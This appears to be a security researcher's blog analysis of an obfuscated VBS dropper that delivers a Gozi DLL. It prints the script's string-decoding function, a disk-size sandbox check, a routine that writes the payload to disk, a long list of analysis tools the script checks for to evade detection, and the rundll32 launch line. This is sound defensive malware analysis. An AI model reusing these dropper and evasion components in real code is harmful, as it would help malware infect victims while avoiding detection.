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We received an interesting sample from one of our readers (thanks Henry!) and we like this. If you find something interesting, we are always looking for fresh meat! Henry's sample was delivered in a password-protected ZIP archive and the file was a VBS script called "presentation_37142.vbs" (SHA256:2def8f350b1e7fc9a45669bc5f2c6e0679e901aac233eac63550268034942d9f). I uploaded a copy of the file on MalwareBazaar[1]. When you open it, you spot immediately the first obfuscation technique used: characters encoding but also a lot of junk comments (to make readability more difficult). So, first, let's get rid of the comments (there are present in both formats: "REM" or a single quote) root@remnux:/MalwareZoo/20210603# egrep -v "^(REM|')" presentation_37142.vbs >presentation_37142.vbs.nocomments When you have a look at the cleaned file, you see some calls to execute the result of a function Indeed, below in the code, we find the function:
Function limpet(hmx)
chivalrous=1:pbI=9
KONQLa = lbound(hmx)
OOSUF = ubound(hmx)
for judicious = KONQL to OOSUF
Randomize
if hmx(judicious) = 999999 Then
Talmud = Talmud & ChrW(Int((chivalrous-pbI+1)*Rnd+pbI))
Else
Talmud = Talmud & ChrW(hmx(judicious) - (((5965 - (12 - 6.0)) - 292.0) - 5660.0))
End if
Next
limpet = Talmud
End Function
It's used to decode arrays of integers that we find in the file. We can try to replace all the
ELvv QSV Zme numb TdJb RGOD bRDW tawny baronial PRJh ERa Those functions are created when the strings are deobfuscated by
Function ELvv()
GewqX("DEBUG: FS_FCH - Start")
on error resume next
Dim chivalrous,pbI
chivalrous=5000
pbI=2000
Randomize
WScript.Sleep Int((chivalrous-pbI+1)*Rnd+pbI)
Set setupService = GetObject("winmgmts:\\.\root\cimv2")
Set judiciouslItems = setupService.ExecQuery("Select * from Win32_LogicalDisk")
For Each inhwg In judiciouslItems
Ppli = Ppli + Int(inhwg.Size / (39 + ((22 + (-17.0)) + (1073741782 - 2.0))))
Next
If round(Ppli) < (((7 + 27.0) + (-19.0)) + (6208 - 6173.0)) Then
GewqX("DEBUG: FS_FCH - False")
Ldj
End If
GewqX("DEBUG: FS_FCH - True")
End Function
Do you remember all the arrays of interegers in the original script? Not all of them were followed by an
Function PRJh()
GewqX("DEBUG: F_DROPPED - Start")
Dim osteopathic:Set osteopathic = CreateObject("ADO"+"DB.S"+"tr"+"eam")
With osteopathic
.Type = 2
.Charset = "ISO-8859-1"
.Open()
For Each codeposit in Array(rUM, dPO, XRbN, yrs, niTC, zVpd, FwV, FCp, bQec, SRtOv, bASM, Nys, GuUuW, WeK, wpzJ, YHKZ, JnPu, oAS, oaC, zlwL, pKkq, NXmo, QTrX, Flut, nAkRy, HRQyY, zzTHn, Csg, omBk, xJrCx, IsEW, XYJUj, NeJ, PxnF, DXx, QvkW, DnNcg, RnDr, vHgx, Ynwg, wfG, aOaUo, HiKrS, xQB, bLErk, COtj, ATRrc, sxLK, Dyj, sDZ, BmUn, jLX, FgF, uhE, dBtN, gaVt, xBJ, PuiTq, btwV, avhtp, hNd, IZh, vJMC, Sqi, saJ, svVXu, qJI, SXft, KIpu, izb, yYY, MtIz, KdoAK, ALd, QJwqG, xisN, sexYP, irJ, NCI, SBma, AQpP, FOz, nVmL, RRB, JIBYA, WfhqI, aQQN, udc, Xvle, OFMs, awj, udzh, OwA, hkgk, SxR, thlD, UXOkn, LKR, TfsoC, wSCJ, cVANb, uZO, BAOxQ, uPPY, BfW, hle, rsdR, QoZkT, Tua, aFr, GCLj, HJy, EGFrK, ppp, ArQcy, LaK, ByYn, ZyPzH, onTV, gARY, HCXTl, ZVt, nKEv, PtaK, eti, hrKE, eXwev, ddDZ, xyN, zCGr, BpvU, lmO, QMl, iZA, bvLfp, GWOG, qWtY, oin, fUDXE, bMSg, uGYU, SMa, GSS, TURRX, vvGy, EiM, BzYH, opQ, OOH, mpKJ, HPnoY, TtJsn, Jdx, DaTI, gdf, xHl, mjF, YnD, KWsA, UrvS, RUkY, szER, tIGWz, UuOZ, kCg, BPiH, ZJS, Met, KVkoD, tdLQ, opJ, CxK, hDX, OqOhw, GJPId, QkuF, jEm, bMjTD, Wfm, qnv, iwX, bPdD, nbva, CcdOc, iEvqT, PTwoC, AjDE, NURs, CXQc, hkGY, QENnM, gIpa, bVf, nNh, CBrt, jiJE, Szoen, qRa, UmwG, dmPCT, xBTPw, mJzrP, hWgcR, kOgs, DINkp, blA, lalRK, UgQmB, gQgs, ZGLuf, GpTw, NKSF, GEya, Szw, sut, mee, MGuCv, pAhj, mhgP, lWqmb, pAD, Eiyd, dCn, DbcQR, rhscz, ARgF, wFpS, MGv, Aqtuc, gfqu, LqY, Iph, MxzQ, QUT, CLzUD, ShzgE, SCr, gSu, BgGX, fEyv, nzHHg, JAtaq, EtUo, tOR, BLo, nlKy, QIKP, QTPI, JorR, Mqo, Qyut, Ekfe, MhvQF, ZtRzU, LjOgB, VyK, Bluo, POGf, nmMl, OwLN, KHn, dbsnZ, qMMuW, DInM, MlbSL, HbS, SVr, Harw, Srd, cLL, EDW754, UajxU, uFp, vCgaf, OFg, JsVin, NIuAD, OVz, veT, EzdVL, DFZgp, WfrR, NCP, sZb, xaCQ, OvD, iXS, OLez, YaIjt, hLDNJ, DMhMf, oRpL, zaY, Cfu, jwt, wRux, WFR, xmAW, Jng, TxJ, YSB, tRDsh, lerhk, cHFw, TqDMb, VEt763, zvJ, zsz, qbO, tvqtX, JFWO, Yvz, lFsX, OtLxd, KiBDP, bfK, Hvp, Kjih, WUCEg, HdTbW, WZPn, lJiok, pAuh, MBqS, grwz, aPsWo, QGdkF, Zig, BvB, AeSnp, pnZl, LEsr, yFS, eJkhN, ozCs, sPP, DpyGu, dJv, ram, fzpK, XAfht, nXB, EoaJ, dhZeR, xwuE, uyB, afK, LVQk, Niqn, FxJFC, wfUhd, kdBo, eqj, CiF, DDMRO, OTj, xnZ842, ADSM, aEQ, hqB, lrBWH, RnGp, xSeG, EOZI, QmScs, VPcRZ, lZOaQ, kCQM, RKE, dMO, LKGwR, RkVx, bPxAv, mmnQO, wSoiq, Mzm, ZEYEP, yqcY, QwCor, XWazl, kYRx, toCiV, nhELZ, kcSLs, oTBxY, DgxmU, ibw, mpkq, aaTTR, LnjuS, wOH, AZL, MdUpB, WzA, yQbeO, cTz, HhpIT, hUDb, TJr, SYw, mTQ, Ncm, Qackb, DBOpx, zUt, jDFf, NQH, EPu, qDh, rWwx, ecbWb, nmVbz, BCH, JfEdB, upm, Aek, SXLUH, kim, XjXMj, OEcx, nJpLa, bqVTd, Tsg, MOA, dBci, YUM, eFa, wQN, TXDP, uHmt, rxW, EcOhJ, KcK, ZetI, RXEK, Imq, LFfk, aWTf, dJklK, DCY, DzPVT, WkK, lmeb, VXy, hmaUa, XsV, tlPuy, KCWj, weqD, gEd574, cRWmH, uyxS, HCm, XtMnx, lijm, uAT, gexWJ, ZQs, VvCEp, pgvCk, LsJh, ySkqT, Kzwtv, gTcM, bhLVG, bMtx, oBA, pCpHo, JhwuT, tmCJ, FlnBx, CWGT, Rzj, wQPJ, JLxr, ueiX, rdbX, DuxK, cszZ, Rbg, UeK, uYU, LeIZq, hBUp, vKTFA, MIY, zCD, XtGy, OLU, Umr, WBWsH, SIjEe, wblv, IXnk, ruRbR, aNW, nJdCW, XexJB, GbZ, Coz, gdp, qtjKq, iUFUB, NlaC, rLNFl, pleE, bma, iyDD, ElvJ, AkGP, Kmv, VQI, dgbHA, bAA, AgU, YTABm, gXjXx, DYm, dXuBM, tFLpx, BqiQ, FgOOF, dHJ, zTKGi, xitWR, htZix, pvn, MVI, gsN, Mpa, Czx, FZf, kyX, uNzIl, zhcBS, yOFY, fPn, qPPJ)
.WriteText limpet(codeposit)
Next
.Position = 0
.SaveToFile sandhill + "racial.drc", 2
.Close
End With
GewqX("DEBUG: F_DROPPED - True")
End Function
That's why I called it the "Russian Dolls" technique because we have arrays of data used by arrays of data etc... Let's execute the function But first, let's check the other functions in the VBS script:
We have here classic sandbox/virtualization detection techniques. Here is the list of processed searched by
Brenner = Array("frida-winjector-helper-64.exe","frida-winjector-helper-32.exe","pythonw.exe","pyw.exe","cmdvirth.exe","alive.exe","filewatcherservice.exe","ngvmsvc.exe","sandboxierpcss.exe","analyzer.exe","fortitracer.exe","nsverctl.exe","sbiectrl.exe","angar2.exe","goatcasper.exe","ollydbg.exe","sbiesvc.exe","apimonitor.exe","GoatClientApp.exe","peid.exe","scanhost.exe","apispy.exe","hiew32.exe","perl.exe","scktool.exe","apispy32.exe","hookanaapp.exe","petools.exe","sdclt.exe","asura.exe","hookexplorer.exe","pexplorer.exe","sftdcc.exe","autorepgui.exe","httplog.exe","ping.exe","shutdownmon.exe","autoruns.exe","icesword.exe","pr0c3xp.exe","sniffhit.exe","autorunsc.exe","iclicker-release.exe",".exe","prince.exe","snoop.exe","autoscreenshotter.exe","idag.exe","procanalyzer.exe","spkrmon.exe","avctestsuite.exe","idag64.exe","processhacker.exe","sysanalyzer.exe","avz.exe","idaq.exe","processmemdump.exe","syser.exe","behaviordumper.exe","immunitydebugger.exe","procexp.exe","systemexplorer.exe","bindiff.exe","importrec.exe","procexp64.exe","systemexplorerservice.exe","BTPTrayIcon.exe","imul.exe","procmon.exe","sython.exe","capturebat.exe","Infoclient.exe","procmon64.exe","taskmgr.exe","cdb.exe","installrite.exe","python.exe","taslogin.exe","ipfs.exe","pythonw.exe","tcpdump.exe","clicksharelauncher.exe","iprosetmonitor.exe","qq.exe","tcpview.exe","closepopup.exe","iragent.exe","qqffo.exe","timeout.exe","commview.exe","iris.exe","qqprotect.exe","totalcmd.exe","cports.exe","joeboxcontrol.exe","qqsg.exe","trojdie.kvpcrossfire.exe","joeboxserver.exe","raptorclient.exe","txplatform.exe","dnf.exe","lamer.exe","regmon.exe","virus.exe","dsniff.exe","LogHTTP.exe","regshot.exe","vx.exe","dumpcap.exe","lordpe.exe","RepMgr64.exe","winalysis.exe","emul.exe","malmon.exe","RepUtils32.exe","winapioverride32.exe","ethereal.exe","mbarun.exe","RepUx.exe","windbg.exe","ettercap.exe","mdpmon.exe","runsample.exe","windump.exe","fakehttpserver.exe","mmr.exe","samp1e.exe","winspy.exe","fakeserver.exe","mmr.exe","sample.exe","wireshark.exe","Fiddler.exe","multipot.exe","sandboxiecrypto.exe","XXX.exe","filemon.exe","netsniffer.exe","sandboxiedcomlaunch.exe")
The function avlt = "rundll32" + " " + sandhill + "racial.drc" + ",DllRegisterServer":setupService.create avlt This DLL is part of the Gozi[3] malware family and communicates with a C2 server located at authd[.]feronok[.]com. To conclude, the VBS script has some debugging code implemented via a specific function:
GewqX("DEBUG: F_MESSAGE - Start")
The function is simple:
Function GewqX(victrola)
If (InStr(WScript.ScriptName, cStr(82984)) > 0 And ucMHV = 0) Then
MsgBox(victrola)
End If
End Function
The debugging is enabled if the script filename contains the substring "82984". [1] https://bazaar.abuse.ch/sample/2def8f350b1e7fc9a45669bc5f2c6e0679e901aac233eac63550268034942d9f/ Xavier Mertens (@xme) |
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